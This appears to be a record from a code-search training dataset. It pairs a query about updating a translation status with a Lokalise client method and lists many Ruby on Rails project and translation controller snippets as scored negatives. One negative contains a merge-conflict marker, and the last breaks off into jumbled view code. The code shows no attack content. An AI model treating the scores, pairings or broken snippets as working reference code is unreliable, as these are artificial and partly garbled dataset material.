"def create(attributes, &block)\n GoodData.logger.info \"Creating project #{attributes[:title]}\"\n\n auth_token = attributes[:auth_token] || GoodData.connection.auth_token\n\n json = {:project =>\n {\n 'meta' => {\n 'title' => attributes[:title],\n 'summary' => attributes[:summary] || 'No summary'\n },\n 'content' => {\n 'guidedNavigation' => 1,\n 'authorizationToken' => auth_token,\n 'driver' => 'Pg'\n }\n }\n }\n json['meta']['projectTemplate'] = attributes[:template] if attributes[:template] && !attributes[:template].empty?\n project = Project.new json\n project.save\n if block\n GoodData::with_project(project) do |p|\n block.call(p)\n end\n end\n project\n end",
"def create\n @project = Project.new(project_params)\n\n render text: params[:project].inspect\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Proyecto creado sastifactoriamente' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n ActiveRecord::Base.transaction do\n respond_to do |format|\n if @project.save\n # Set and send notifications to band members.\n @project.create_send_notifications(current_user)\n # Create an ActivityLog.\n @project.create_activity_log(current_user, 'created project - added', @project.added_track_names)\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n # Remove all blobs that do not have attachments\n ActiveStorage::Blob.where(metadata: nil).each { |blob| blob.purge }\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\r\n @project = current_user.projects.new(project_params)\r\n new_page = @project.pages.new({ name: generate_new_page_name})\r\n @project.startpage = new_page\r\n @project.date_created = Time.now\r\n @project.last_modified = Time.now\r\n respond_to do |format|\r\n if @project.save\r\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\r\n format.json { render action: 'show', status: :created, location: @project }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @project.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @create_project = current_user.projects.build(params[:project])\n flash[:notice] = \"Project #{@create_project.description} successfully created\" if @create_project.save\n respond_with(@create_project, layout: !request.xhr?)\n end",
"def createProject(description) \n project = Project.new \n project.Description = description \n @Projects.push(project) \n end",
"def initialize(project, translations)\n @project = project\n @translations = translations\n end",
"def create\n\t\t@project = Project.new(params[:project].merge({:user_id => present_user.id}))\n\t\tmake_breadcrumbs\n\n\t\trespond_to do |format|\n\t\t\tif @project.save\n\t\t\t\tformat.html { redirect_to @project, notice: t('app.projects.created') }\n\t\t\t\tformat.json { render json: @project, status: :created, location: @project }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def status_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'StatusProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :project_name\n\t\t\targs[:query]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def create\n @project = Project.new(project_params)\n @nameEverExist = Project.find_by name: @project.name\n if @nameEverExist == nil || (@nameEverExist.user == current_user && @nameEverExist.is_re_fundable)\n @project.user = current_user\n @project.status = 0\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, :flash => {success: 'Projet créé avec succès'} }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to @project, :flash => {error: 'Impossible de crée le projet, ce nom est déjà utilisé'} }\n format.json { render :show, status: :created, location: @project }\n end\n end\n end",
"def reg_status_translator\n @reg_status_translator ||= Notifications::RegStatusTranslator.new\n end",
"def create\n @project = Project.create(project_params)\n if @project.errors.blank?\n flash[:success] = t('controllers.projects.create.success', project: @project.name)\n else\n flash.now[:alert] = @project.errors.full_messages.unshift(t('controllers.projects.create.failure'))\n end\n respond_with @project, location: projects_url\n end",
"def create(options = {})\n res = self.post \"/translate/jobs\", :body => options\n check_for_errors(res)\n res['response']\n end",
"def create\n @unfinished_project = UnfinishedProject.new(params[:unfinished_project])\n\n respond_to do |format|\n if @unfinished_project.save\n format.html { redirect_to @unfinished_project, notice: 'Unfinished project was successfully created.' }\n format.json { render json: @unfinished_project, status: :created, location: @unfinished_project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @unfinished_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n # Si se crea correctamente, se guarda y se redirige al show con un mensaje de exito,\n # sino, se hace un render al new del proyecto, dando el mensaje de error correspondiente\n if @project.save\n redirect_to @project, flash: {success: I18n.t('project.create_success')}\n else\n render 'new'\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n prepare\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n \t@project = Project.new(params[:project])\n @project.date_added = Time.now.year \n \trespond_to do |format|\n \t\tif project = @project.save\n \t\tformat.html { redirect_to admin_path, notice: 'Project was successfully updated.' }\n \t\tformat.json { render json: @project, status: :created, location: @project }\n \t\telse\n \t\tformat.html { render action: \"new\" }\n \t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n \t\tend\n \tend\n \tend",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n flash[:notice] = 'Project was successfully created.'\n format.html { redirect_to project_url(@project) }\n format.xml { head :created, :location => admin_project_url(@project) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors.to_xml }\n end\n end\n end",
"def create_valid_project\n create_project_with 'Some test project'\n end",
"def new\n @project = Project.new(:name => \"{#{t('project.pending_refresh')}}\",\n :feature_prefix => \"S\", :bug_prefix => \"D\", :chore_prefix => \"C\", :release_prefix => \"R\",\n :renumber_features => Constants::RENUMBER_NO, :renumber_chores => Constants::RENUMBER_NO,\n :renumber_bugs => Constants::RENUMBER_NO, :renumber_releases => Constants::RENUMBER_NO,\n :time_zone => current_user.time_zone)\n respond_with @project\n end",
"def set_project_status\n @project_status = Project::Status.find(params[:id])\n end",
"def create\n\n @project = Project.new(project_params)\n @project.user_id = current_user.id\n @project.enabled = false\n @project.requested = false\n\n respond_to do |format|\n if @project.save\n \n format.html { redirect_to @project, notice: 'Projekt je vytvorený a čaká na pridanie obsahu' }\n #format.html { redirect_to new_reward_path, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if @project.save\n flash[:success] = 'Project was saved!'\n redirect_to root_path\n else\n render 'new'\n end\n end",
"def create\n @project = Project.new(params[:project])\n \n if @project.save\n flash[:success] = \"Project created\" \n redirect_to projects_url\n else\n flash[:danger] = \"Cannot create project\"\n render 'new'\n end\n end",
"def create\n @project = Project.new(project_params)\n @new_task = Task.new\n\n unless @project.save\n head :unprocessable_entity\n end\n end",
"def create\n @project = Project.new(params[:project])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n handle_disciplines_projects\n=======\n>>>>>>> 336471e6be257cf55c9afa2a65f928fde34e41fe:app/controllers/projects_controller.rb\n\n respond_to do |format|\n if @project.save\n flash[:notice] = 'Project was successfully created.'\n format.html { redirect_to(@project) }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @current_project = CurrentProject.new(params[:current_project])\n\n respond_to do |format|\n if @current_project.save\n flash[:notice] = 'CurrentProject was successfully created.'\n format.html { redirect_to(@current_project) }\n format.xml { render :xml => @current_project, :status => :created, :location => @current_project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @current_project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @createdtranslation = Createdtranslation.new(createdtranslation_params)\n\n respond_to do |format|\n if @createdtranslation.save\n format.html { redirect_to @createdtranslation, notice: 'Creation was successfully created.' }\n format.json { render :show, status: :created, location: @createdtranslation }\n else\n format.html { render :new }\n format.json { render json: @createdtranslation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n \n \n \n respond_to do |format|\n if @project.save\n \n if @project.groupstate\n \n format.html { redirect_to manage_member_path(@project.id) }\n format.json { render json: @project, status: :created, location: @project }\n \n else\n \n UserMailer.pedido_orientacao(User.find_by_id(@project.orientador_id)).deliver\n \n format.html { redirect_to edit_project_path(@project), notice: 'Projeto foi criado com sucesso.' }\n format.json { render json: @project, status: :created, location: @project }\n end\n \n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n \n end\n \n else\n \n \n end",
"def create\n @nvs_mig_status = NvsMigStatus.new(params[:nvs_mig_status])\n @nvs_mig_status.project_id = @project.id\n\n respond_to do |format|\n if @nvs_mig_status.save\n format.html { redirect_to @nvs_mig_status, notice: 'Nvs mig status was successfully created.' }\n format.json { render json: @nvs_mig_status, status: :created, location: @nvs_mig_status }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nvs_mig_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def register_project(project, dictionary, version, locale, syn_list)\n select_project.select project\n edit_project.click\n add_icon.click\n select_dictionary_name.click\n select_from_dropdown(:dictionary_name, dictionary)\n select_dictionary_version.click\n select_from_dropdown(:version, version)\n select_locale.click\n select_from_dropdown(:locale, locale)\n select_syn_list.click\n select_from_dropdown(:synonym_list, syn_list)\n save_dictionary.click\n sleep 10\n save_and_send_to_source.click\n send_ok.click\n end",
"def create_project_unit\n @unit = Unit.new(unit_params.merge(company_id: current_company.id))\n @unit.project_required = true\n @unit.project_id = project.id if project\n if @unit.save\n flash[:success] = 'Item added successfully!'\n redirect_to project\n else\n @unit_categories = unit_categories\n @locations = locations\n flash[:danger] = @unit.errors.full_messages\n render 'new_project_unit'\n end\n end",
"def create\n @project = Project.new(params[:project])\n @project.permalink = create_permalink(params[:project][:title])\n @project_membership = @project.project_memberships.build(:user_id => current_user.id, :role => \"founder\")\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.build(params[:project])\n if @project.save\n flash[:success] = \"Project was successfully created.\"\n redirect_to root_path\n else\n flash[:error] = \"Failed to make project.\"\n render 'new'\n end\n end",
"def create\n @tasks_translation = TasksTranslation.new(params[:tasks_translation])\n\n respond_to do |format|\n if @tasks_translation.save\n format.html { redirect_to([:admin,@tasks_translation], :notice => 'Tasks translation was successfully created.') }\n format.xml { render :xml => @tasks_translation, :status => :created, :location => @tasks_translation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tasks_translation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.create project_params\n current_user.memberships.create(\n project_id: @project.id,\n owner_at: Time.now\n )\n\n if @project.save\n render 'projects/create', status: 201\n else\n render 'projects/error', status: 422\n end\n end",
"def create\n @translation = Translation.new(params[:translation])\n\n respond_to do |format|\n if @translation.save\n format.html { redirect_to @translation, notice: 'Translation was successfully created.' }\n format.json { render json: @translation, status: :created, location: @translation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @translation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if project.save\n format.html { redirect_to project, notice: 'Project was successfully created.' }\n format.json { render json: project, status: ':created', location: project }\n else\n format.html { render action: 'new' }\n format.json { render json: project.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def set_project\n @project = Project.includes(:items => :translations).find(params[:id])\n end",
"def translate_translate_text project_id:, text:, language_code:\n # [START translate_translate_text]\n # project_id = \"Your Google Cloud project ID\"\n # text = \"The text you would like to translate\"\n # language_code = \"The ISO 639-1 code of language to translate to, eg. 'en'\"\n\n require \"google/cloud/translate\"\n\n translate = Google::Cloud::Translate.translation_v2_service project_id: project_id\n translation = translate.translate text, to: language_code\n\n puts \"Translated '#{text}' to '#{translation.text.inspect}'\"\n puts \"Original language: #{translation.from} translated to: #{translation.to}\"\n # [END translate_translate_text]\nend",
"def create\n @project = Project.new(params[:project])\n @project.user_id = current_user[:id]\n respond_to do |format|\n if @project.save\n project = Project.where(:user_id => current_user[:id]).first\n project.loading = false\n project.optimized = false\n project.save\n\n format.html { redirect_to(projects_path, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n flash[:notice] = 'Project was successfully created.'\n format.html { redirect_to(project_path(@project)) }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.author = current_user\n if @project.save\n NewProjectMailer.new_project_email(@project).deliver\n if @project.approved\n redirect_to projects_path, notice: 'Project has been added.'\n else\n redirect_to projects_path, notice: 'Project has been added, but will have to be approved by an administrator.'\n end\n else\n render action: 'new'\n end\n end",
"def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/terms/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n array = YAML.load(response)\n return nil if array.empty?\n translations = []\n array.each do |translation|\n term_translation = WebTranslateIt::TermTranslation.new(translation)\n translations.push(term_translation)\n end\n return translations\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end",
"def create\n @project = Project.new(params[:project])\n if @project.save\n respond_to do |format|\n format.html do\n flash[:notice] = 'Project was created.'\n flash[:highlight_dom_id] = dom_id(@project)\n redirect_to projects_path\n end\n end\n else\n respond_to do |format|\n format.html { render :action => 'new' }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.client && @project.save\n\n pm = ProjectParticipant.with_deleted.find_or_initialize_by(project_id: @project.id, user_id: current_user.id)\n pm.is_manager = true\n pm.restore! if pm.destroyed?\n pm.save\n\n format.html { redirect_to \"/\", notice: 'Project was successfully created.' }\n format.json { render json: @project.as_json(:include => [:client, :project_participants ]), status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @urlroot = Designax::Application.config.urlroot\n if params[:pk] == \"new\" and params[:name] == \"project_name\"\n project_name = params[:value]\n @project = Project.new()\n @project.project_name = project_name\n else\n @project = Project.new(params[:project])\n end\n\n respond_to do |format|\n if @project.save\n redirect_url = @urlroot + \"/projects\"\n response_url = { \"url\" => redirect_url }\n format.json { render json: response_url, status: 200 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def check_project_status\n submit_process(:status) if @project.started?\n render json: state_snapshot\n end",
"def convert_project_lifecycle_text_to_id\n end"
] |
[
"0.6804595",
"0.67013425",
"0.65500647",
"0.6343985",
"0.62295705",
"0.6156416",
"0.61193246",
"0.60826874",
"0.6061255",
"0.60582423",
"0.60375607",
"0.60368425",
"0.6002224",
"0.59719414",
"0.5970482",
"0.595719",
"0.5935667",
"0.59208035",
"0.59108263",
"0.5902242",
"0.59018004",
"0.5894865",
"0.5870714",
"0.58506715",
"0.58252895",
"0.5810615",
"0.5803249",
"0.57971066",
"0.57955235",
"0.57567555",
"0.5743548",
"0.5735719",
"0.57217973",
"0.57064044",
"0.569724",
"0.56954193",
"0.56808335",
"0.5678564",
"0.56556565",
"0.56434447",
"0.563957",
"0.5639338",
"0.56383115",
"0.5636281",
"0.56160116",
"0.56134635",
"0.56113684",
"0.5608741",
"0.5604095",
"0.559613",
"0.559474",
"0.55943334",
"0.5581902",
"0.55732626",
"0.5559512",
"0.55452573",
"0.5543777",
"0.55436563",
"0.5541179",
"0.5539775",
"0.5535156",
"0.55342466",
"0.55237496",
"0.5523082",
"0.55230695",
"0.5515798",
"0.55150306",
"0.55149126",
"0.55143845",
"0.5508398",
"0.5504799",
"0.5502695",
"0.54935414",
"0.54824835",
"0.5478769",
"0.5473387",
"0.54731864",
"0.54707015",
"0.5465932",
"0.5465748",
"0.54545826",
"0.5451662",
"0.5448896",
"0.54453725",
"0.54450136",
"0.5435958",
"0.543344",
"0.5428177",
"0.5423534",
"0.5422337",
"0.5420426",
"0.5418623",
"0.54080355",
"0.53997344",
"0.5390662",
"0.53896546",
"0.5388691",
"0.53872836",
"0.5382555",
"0.5377501"
] |
0.82210314
|
0
|
Updates the given translation status inside the given project
|
def update_translation_status(project_id, status_id, params)
c_r Lokalise::Resources::CustomTranslationStatus, :update, [project_id, status_id], params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def translation_status(project_id, status_id)\n c_r Lokalise::Resources::CustomTranslationStatus, :find, [project_id, status_id]\n end",
"def edit_project(description, status)\n update!(description: description, status: status)\n end",
"def create_translation_status(project_id, params)\n c_r Lokalise::Resources::CustomTranslationStatus, :create, project_id, params\n end",
"def update_project(project, ptProject)\n project.title = ptProject.name\n project.current_iteration_id = ptProject.current_iteration_number\n project.save\n end",
"def destroy_translation_status(project_id, status_id)\n c_r Lokalise::Resources::CustomTranslationStatus, :destroy, [project_id, status_id]\n end",
"def set_project_status\n @project_status = Project::Status.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @project.update(project_params)\n # Update project status to open\n if @project.developer and @project.project_status == 'open'\n @project.update(project_status: 'in process')\n end\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project_status = ProjectStatus.find(params[:id])\n\n respond_to do |format|\n if @project_status.update_attributes(params[:project_status])\n format.html { redirect_to(@project_status, :notice => 'Project status was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project_status.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_status\n\n command = params[:status].to_sym\n case command\n when :setup, :start, :abort, :terminate\n @project.send(\"#{command}_done!\")\n when :stop\n @project.stop_done!\n # save return result data\n raw_data = params[:data]\n results = JSON.parse(raw_data)\n results.each {|result| LoadTest.create!(result.merge(project_id: @project.id))}\n\n when :download, :export\n result_download_parms = {}\n result_download_parms[:status] = 1\n ProjectResultDownload.update(params[:request_id], result_download_parms)\n\n when :status\n status_data = params[:status_data]\n unless status_data.blank?\n if JSON.parse(status_data).empty?\n if @project.may_stop?\n submit_process(:stop)\n @project.stop! # TODO refactor as a :before callback to events\n end\n end\n end\n else\n raise \"Unknown command for status update: #{command}\"\n end\n\n flash[:success] = \"#{command} completed successfully!\"\n render nothing: true\n end",
"def update_project(username, projectname)\n\n #handle commits\n list_commits username, projectname, Encounter.last, Campaign.last\n #handle issues\n list_issues username, projectname, Encounter.last, Campaign.last\n end",
"def update\n if (current_user == @project.user && (@project.status == 0 || @project.pending?)) || current_user.role == 1\n respond_to do |format|\n if @project.update(project_params)\n format.html { redirect_to @project, :flash => { success: 'Projet correctement mis à jour' } }\n format.json { render :show, status: :ok, location: @project }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_status.update(project_status_params)\n format.html { redirect_to project_status_url(@project_status), notice: \"Project status was successfully updated.\" }\n format.json { render :show, status: :ok, location: @project_status }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @project_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @project_status.update(project_status_params)\n format.html { redirect_to @project_status, notice: 'Project status was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_status }\n else\n format.html { render :edit }\n format.json { render json: @project_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_project_status\n @project_status = ProjectStatus.find(params[:id])\n end",
"def set_project_status\n @project_status = ProjectStatus.find(params[:id])\n end",
"def update_project_counts\n if changed.include?('status')\n project.update_counts(person) if project\n end\n end",
"def update\n respond_to do |format|\n if @project_status.update(project_status_params)\n format.html { redirect_to @project_status, notice: 'Status was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_status }\n else\n format.html { render :edit }\n format.json { render json: @project_status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def project_status_setter(status)\n if ['Proposed', 'Suspended', 'Postponed',\n 'Cancelled', 'In progress'].include? status\n self.status = status\n save\n else\n false\n end\n end",
"def update_project\n self.project.update_project\n #not updating when adding activities or tasks\n end",
"def update\r\n\r\n data = params.except(:action, :controller, :options)\r\n options = params[:options]\r\n translations = GetPomo::PoFile.parse(File.read(\"#{Rails.root}/po/#{options[\"locale\"]}/#{APP_SID}.po\"))\r\n\r\n # Find translation\r\n\r\n @locale = translations.find { |t| t.comment == data[\"comment\"] }\r\n index = translations.find_index(@locale)\r\n\r\n # Edit translation\r\n\r\n @locale.msgid = data[\"msgid\"]\r\n @locale.msgstr = data[\"msgstr\"]\r\n @locale.comment = data[\"comment\"]\r\n if data.has_key?(\"fuzzy\") and data[\"fuzzy\"] == \"on\"\r\n @locale.comment += \", fuzzy\\n\" if @locale.fuzzy?.nil?\r\n else\r\n @locale.comment.slice! \", fuzzy\\n\" unless @locale.fuzzy?.nil?\r\n end\r\n\r\n # Replace translation\r\n\r\n translations[index] = @locale\r\n\r\n # Create delayed job to rewrite the PO file asynchronously\r\n\r\n Delayed::Job.enqueue WritePo.new(options[\"locale\"], GetPomo::PoFile.to_text(translations))\r\n render :json => @locale\r\n end",
"def update\n\t\t@project = Project.find(params[:id])\n\t\tmake_breadcrumbs\n\t\t\n\t\trespond_to do |format|\n\t\t\tif @project.update_attributes(params[:project])\n\t\t\t\tformat.html { redirect_to @project, notice: t('app.projects.updated') }\n\t\t\t\tformat.json { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"edit\" }\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n\n respond_to do |format|\n parameters = params[:project].slice(:project, :target_completion, :status, :notes)\n if parameters.has_key? :target_completion\n date = Date.parse(parameters[:target_completion])\n parameters[:target_completion] = date #unless date.nil?\n end\n if @project.update_attributes(parameters)\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { respond_with_bip(@project)}#head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { respond_with_bip(@project)}#render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(status)\n @pivotal_story.update(current_state: status)\n end",
"def project_status\n\t\t@project = Project.find(params[:id])\n\n\t\trender 'projects/project_status'\n\tend",
"def update\n service_result = Organizers::BuildJoinTableObjects.call(project_params, 'project', :update)\n @project = service_result.main_object\n\n if service_result.failure?\n render json: {errors: errors_as_array_hash(service_result.message)}, status: :unprocessable_entity\n else\n render :show, status: :ok, location: @project\n end\n end",
"def update\n @project = @projectable.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n track_activity @project\n format.html { redirect_to [@projectable, @project], notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render layout: 'form', action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_project project_gapi\n execute do\n service.update_project project_gapi.project_id, project_gapi\n end\n end",
"def update\n @project_state.update(project_state_params)\n head :no_content\n end",
"def update\n @project = @sprint.projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to project_url(@sprint, @project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors.to_xml }\n end\n end\n end",
"def update_project\n project.update_title\n end",
"def update\n if @project.update(project_params)\n render json: {status: :success, project: @project}\n else\n render json: {status: :failed, project: @project}\n end\n end",
"def update\n @tasks_translation = TasksTranslation.find(params[:id])\n\n respond_to do |format|\n if @tasks_translation.update_attributes(params[:tasks_translation])\n format.html { redirect_to([:admin,@tasks_translation], :notice => 'Tasks translation was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tasks_translation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = AzProject.find(params[:id])\n\n prepare_show_data(@project.id)\n\n respond_to do |format|\n if !@project.can_user_update(current_user)\n format.html { redirect_to(project_forbidden_url) }\n elsif @project.update_attributes(params[:az_project]) # TODO project.update_attributes - не секьюрно!\n flash[:notice] = 'Проект успешно изменен.'\n format.html { redirect_to(@project) }\n else\n prepare_edit_data(@project)\n format.html { render :template => 'az_base_projects/edit'}\n end\n end\n end",
"def update\n respond_to do |format|\n if is_admin?(@project.program) && @project.update_attributes(params[:project])\n flash[:notice] = \"Project record for #{@project.project_title} was successfully updated\"\n format.html { redirect_to(project_path(@project)) }\n format.xml { head :ok }\n else\n admin = is_admin? ? 'Yes' : 'No'\n flash[:errors] = \"Project record for #{@project.project_title} could not be updated; admin: #{admin}; errors: #{@project.errors.full_messages.join('; ')}\"\n format.html { render action: :show }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_project\n @project = Project.includes(:items => :translations).find(params[:id])\n end",
"def update\n if @project.update(project_params)\n render :show, status: :ok, location: api_v1_project_url(@project)\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n if params[:name] == \"project_name\"\n project_name = params[:value]\n @project.project_name = project_name\n end\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n\n @projects = Project.all\n format.html {\n render :action => \"index\"\n }\n format.json { render json: @project }\n else\n logMessage = self.class.to_s + \"#\" + __method__.to_s + \" \" + current_user.username + \" errors:\" + @project.errors.full_messages.to_s\n logger.info logMessage\n\n format.html {\n flash[:error] = 'Project was not successfully updated.'\n redirect_to action: \"index\"\n }\n errorMsg = @project.errors.full_messages.to_s.split(\"\\\"\")\n format.json { render json: errorMsg[1], status: 500 }\n end\n end\n end",
"def update\n @project = current_user.active_projects.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = current_user.projects.find(params[:id])\n\n if @project.update_attributes(params[:project])\n record_activity(\"updated project details: \" + @project.id.to_s)\n redirect_to @project\n else\n render 'edit'\n end\n end",
"def update\n respond_to do |format|\n if @project.save && @project.update_attributes(params[:project])\n format.html { redirect_to(@project,\n :notice => t('general.updated',\n :entity => t('project.entity_name'),\n :identifier => @project.name)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project.update_attributes project_params\n if @project.errors.blank?\n flash[:success] = t('controllers.projects.update.success', project: @project.name)\n else\n flash.now[:alert] = @project.errors.full_messages.unshift(t('controllers.projects.update.failure'))\n end\n respond_with @project, location: edit_project_url(@project)\n end",
"def update\n template = \"\"\n\n params['project'] ||= {}\n if params['project']['state']\n @new_state = params['project']['state']\n @state_changed = @project.state != @new_state\n params['project'].delete('state')\n end\n success_text = if params['field'] == 'name' && params['value']\n params['project']['id'] = params['id']\n params['project']['name'] = params['value']\n end\n\n @project.attributes = project_params\n @saved = @project.save\n if @saved\n @project.transition_to(@new_state) if @state_changed\n if boolean_param('wants_render')\n @contexts = current_user.contexts\n update_state_counts\n init_data_for_sidebar\n init_project_hidden_todo_counts(['project'])\n\n template = 'projects/update'\n\n # TODO: are these params ever set? or is this dead code?\n elsif boolean_param('update_status')\n template = 'projects/update_status'\n elsif boolean_param('update_default_context')\n @initial_context_name = @project.default_context.name\n template = 'projects/update_default_context'\n elsif boolean_param('update_default_tags')\n template = 'projects/update_default_tags'\n elsif boolean_param('update_project_name')\n # clicking on a project name in the project view gives a form triggering this\n @projects = current_user.projects\n template = 'projects/update_project_name'\n else\n render :text => success_text || 'Success'\n return\n end\n else\n init_data_for_sidebar\n template = 'projects/update'\n end\n\n respond_to do |format|\n format.js { ruby_code_from_view.ruby_code_from_view do |rb_from_view|\n stylesheet_link_tag \"application\", :media => \"all\" \n stylesheet_link_tag \"print\", :media => \"print\" \n javascript_include_tag \"application\" \n csrf_meta_tags \n@source_view\n raw(protect_against_forgery? ? form_authenticity_token.inspect : \"\") \n @tag_name ? @tag_name : \"\" \n @group_view_by ? @group_view_by : \"\" \n default_contexts_for_autocomplete.html_safe rescue '{}' \n default_tags_for_autocomplete.html_safe rescue '{}' \n date_format_for_date_picker \n 